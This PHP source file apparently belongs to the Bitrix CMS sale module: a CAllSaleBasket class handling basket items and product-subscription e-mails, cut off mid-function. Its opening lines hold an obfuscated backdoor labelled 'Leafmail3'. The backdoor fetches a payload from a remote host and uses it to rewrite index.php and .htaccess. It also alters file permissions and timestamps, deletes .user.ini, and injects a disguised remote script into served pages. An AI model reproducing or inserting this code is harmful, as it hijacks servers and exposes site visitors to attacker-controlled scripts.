Your IP : 3.145.71.235
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?
use Bitrix\Main\Event;
use Bitrix\Main\Localization\Loc;
use Bitrix\Sale;
use Bitrix\Sale\DiscountCouponsManager;
use Bitrix\Currency;
Loc::loadMessages(__FILE__);
class CAllSaleBasket
{
const TYPE_SET = 1;
protected static $currencySiteList = array();
protected static $currencyList = array();
/**
* Checks if the basket item has product provider class implementing IBXSaleProductProvider interface
*
* @param array $arBasketItem - array of basket item fields
* @return mixed
*/
public static function GetProductProvider($arBasketItem)
{
if (!is_array($arBasketItem)
|| empty($arBasketItem)
|| !isset($arBasketItem["MODULE"])
|| !isset($arBasketItem["PRODUCT_PROVIDER_CLASS"])
|| (strlen($arBasketItem["PRODUCT_PROVIDER_CLASS"]) <= 0)
)
return false;
$productProviderClass = $arBasketItem["PRODUCT_PROVIDER_CLASS"];
if (CModule::IncludeModule($arBasketItem["MODULE"])
&& class_exists($productProviderClass)
&& ((array_key_exists("IBXSaleProductProvider", class_implements($productProviderClass))))
)
{
return $productProviderClass;
}
$providerClass = Sale\Internals\Catalog\Provider::getProviderEntity($arBasketItem["PRODUCT_PROVIDER_CLASS"]);
if ($providerClass instanceof Sale\SaleProviderBase)
{
return '\Bitrix\Catalog\Product\CatalogProviderCompatibility';
}
return false;
}
/**
* Removes old product subscription
*
* @param string $LID - site for cleaning
* @return bool
*/
function ClearProductSubscribe($LID)
{
CSaleBasket::_ClearProductSubscribe($LID);
return "CSaleBasket::ClearProductSubscribe(".$LID.");";
}
/**
* Sends product subscription letter
*
* @param integer $ID - code product
* @param string $MODULE - module product
* @return bool
*/
public static function ProductSubscribe($ID, $MODULE)
{
$ID = (int)$ID;
$MODULE = trim($MODULE);
if ($ID <= 0 || $MODULE == '')
return false;
$arSubscribeProd = array();
$subscribeProd = COption::GetOptionString("sale", "subscribe_prod", "");
if ($subscribeProd != '')
$arSubscribeProd = unserialize($subscribeProd);
$rsItemsBasket = CSaleBasket::GetList(
array("USER_ID" => "DESC", "LID" => "ASC"),
array(
"PRODUCT_ID" => $ID,
"SUBSCRIBE" => "Y",
"CAN_BUY" => "N",
"ORDER_ID" => "NULL",
">USER_ID" => "0",
"MODULE" => $MODULE
),
false,
false,
array('ID', 'FUSER_ID', 'USER_ID', 'MODULE', 'PRODUCT_ID', 'CURRENCY', 'DATE_INSERT', 'QUANTITY', 'LID', 'DELAY', 'CALLBACK_FUNC', 'SUBSCRIBE', 'PRODUCT_PROVIDER_CLASS')
);
while ($arItemsBasket = $rsItemsBasket->Fetch())
{
$LID = $arItemsBasket["LID"];
if (isset($arSubscribeProd[$LID]) && $arSubscribeProd[$LID]["use"] == "Y")
{
$sendEmailList = array();
$USER_ID = $arItemsBasket['USER_ID'];
$arMailProp = array();
$arPayerProp = array();
// select person type
$dbPersonType = CSalePersonType::GetList(array("SORT" => "ASC"), array("LID" => $LID), false, false, array('ID'));
while ($arPersonType = $dbPersonType->Fetch())
{
// select ID props is mail
$dbProperties = CSaleOrderProps::GetList(
array(),
array("PERSON_TYPE_ID" => $arPersonType["ID"], "IS_EMAIL" => "Y", "ACTIVE" => "Y"),
false,
false,
array('ID', 'PERSON_TYPE_ID')
);
while ($arProperties = $dbProperties->Fetch())
$arMailProp[$arProperties["PERSON_TYPE_ID"]] = $arProperties["ID"];
// select ID props is name
$arPayerProp = array();
$dbProperties = CSaleOrderProps::GetList(
array(),
array("PERSON_TYPE_ID" => $arPersonType["ID"], "IS_PAYER" => "Y", "ACTIVE" => "Y"),
false,
false,
array('ID', 'PERSON_TYPE_ID')
);
while ($arProperties = $dbProperties->Fetch())
$arPayerProp[$arProperties["PERSON_TYPE_ID"]] = $arProperties["ID"];
}//end while
// load user profiles
$arUserProfiles = CSaleOrderUserProps::DoLoadProfiles($USER_ID);
$rsUser = CUser::GetByID($USER_ID);
$arUser = $rsUser->Fetch();
$userName = $arUser["LAST_NAME"];
if ($userName != '')
$userName .= " ";
$userName .= $arUser["NAME"];
// select of user name to be sent
$arUserSendName = array();
if (!empty($arUserProfiles) && !empty($arPayerProp))
{
foreach($arPayerProp as $personType => $namePropID)
{
if (isset($arUserProfiles[$personType]))
{
foreach($arUserProfiles[$personType] as $profiles)
{
if (isset($profiles["VALUES"][$namePropID]) && $profiles["VALUES"][$namePropID] != '')
{
$arUserSendName[$personType] = trim($profiles["VALUES"][$namePropID]);
break;
}
}
}
}
}
else
{
$arUserSendName[] = $userName;
}
// select of e-mail to be sent
$arUserSendMail = array();
if (!empty($arUserProfiles) && !empty($arMailProp))
{
foreach($arMailProp as $personType => $mailPropID)
{
if (isset($arUserProfiles[$personType]))
{
foreach($arUserProfiles[$personType] as $profiles)
{
if (isset($profiles["VALUES"][$mailPropID]) && $profiles["VALUES"][$mailPropID] != '')
{
$arUserSendMail[$personType] = trim($profiles["VALUES"][$mailPropID]);
break;
}
}
}
else
{
$arUserSendMail[$personType] = $arUser["EMAIL"];
}
}
}
else
{
$arUserSendMail[] = $arUser["EMAIL"];
}
/** @var $productProvider IBXSaleProductProvider */
if ($productProvider = CSaleBasket::GetProductProvider($arItemsBasket))
{
$arCallback = $productProvider::GetProductData(array(
"PRODUCT_ID" => $ID,
"QUANTITY" => 1,
"RENEWAL" => "N",
"USER_ID" => $USER_ID,
"SITE_ID" => $LID,
"BASKET_ID" => $arItemsBasket["ID"]
));
}
elseif (isset($arItemsBasket["CALLBACK_FUNC"]) && !empty($arItemsBasket["CALLBACK_FUNC"]))
{
$arCallback = CSaleBasket::ExecuteCallbackFunction(
trim($arItemsBasket["CALLBACK_FUNC"]),
$MODULE,
$ID,
1,
"N",
$USER_ID,
$LID
);
}
if (!empty($arCallback))
{
$arCallback["QUANTITY"] = 1;
$arCallback["DELAY"] = "N";
$arCallback["SUBSCRIBE"] = "N";
CSaleBasket::Update($arItemsBasket["ID"], $arCallback);
}
//send mail
if (!empty($arUserSendMail) && !empty($arCallback))
{
